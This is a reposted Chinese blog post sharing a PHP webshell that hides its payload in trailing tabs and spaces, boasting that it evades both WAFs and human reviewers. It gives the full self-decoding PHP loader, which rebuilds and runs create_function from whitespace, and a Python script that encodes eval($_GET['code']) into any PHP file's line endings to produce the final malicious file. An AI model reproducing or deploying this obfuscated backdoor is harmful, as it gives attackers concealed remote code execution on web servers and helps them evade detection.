转自:
https://imbawenzi.github.io/2019/04/18/一个有趣的webshell---将代码隐藏在空白处/
分享一个小马,不但过狗还过人。
小马代码部分:
<?php
class newDataProvider {
function __construct() {
$f = file(__FILE__);
$r = "";
$c = "";
for($i = 0; $i < count($f); $i++) {
if($i < 15){
$r .= $this->dataProcessor($f[$i]);
} else {
$c .= $this->dataProcessor($f[$i]);
}
}
$t = $r('',"$c");
$t();
}
function dataProcessor($li) {
preg_match('/([\t ]+)\r?\n?$/', $li, $m);
if (isset($m[1])) {
$l = dechex(substr_count($m[1], "\t"));
$r = dechex(substr_count($m[1], " "));
$n = hexdec($l.$r);
return chr($n);
}
return "";
}
}
new newDataProvider();
?>
可以重点关注dataProcessor这个函数,通过正则匹配文件每一行最后的/t或者空格数,并以这两个的计数的十六进制分别代表一位,来拼成一个ascii码。显然这些空格和/t的数量是我们可以自己写好的,这样我们就可以构造空格和/t的数量来构造一个小马或者其他恶意代码。转载的博主已经实现了,可以看看:
funcName = 'create_function'
code = 'eval($_GET["code"]);'
blank = funcName+code
fin = open('test.php','r')
fout = open('testOutput.php','w')
content = fin.readlines()
if len(content) < len(blank):
for i in range(len(blank)-len(content)):
content += ['\n']
for i in range(len(blank)):
tensPlace = int(hex(ord(blank[i]))[2], 16)
onesPlace = int(hex(ord(blank[i]))[3], 16)
if content[i][-1] == '\n':
content[i] = content[i][0:-1] + tensPlace*'\t' + onesPlace*' ' + '\n'
else:
content[i] = content[i] + tensPlace*'\t' + onesPlace*' ' + '\n'
for line in content:
fout.write(line)
fin.close()
fout.close()
利用python脚本来实现从指定代码到空格和/t的添加。这样就在之前的那个文件里面构造了合适的空格和/t来表示恶意代码。生成新的文件便是我们最终的恶意文件了。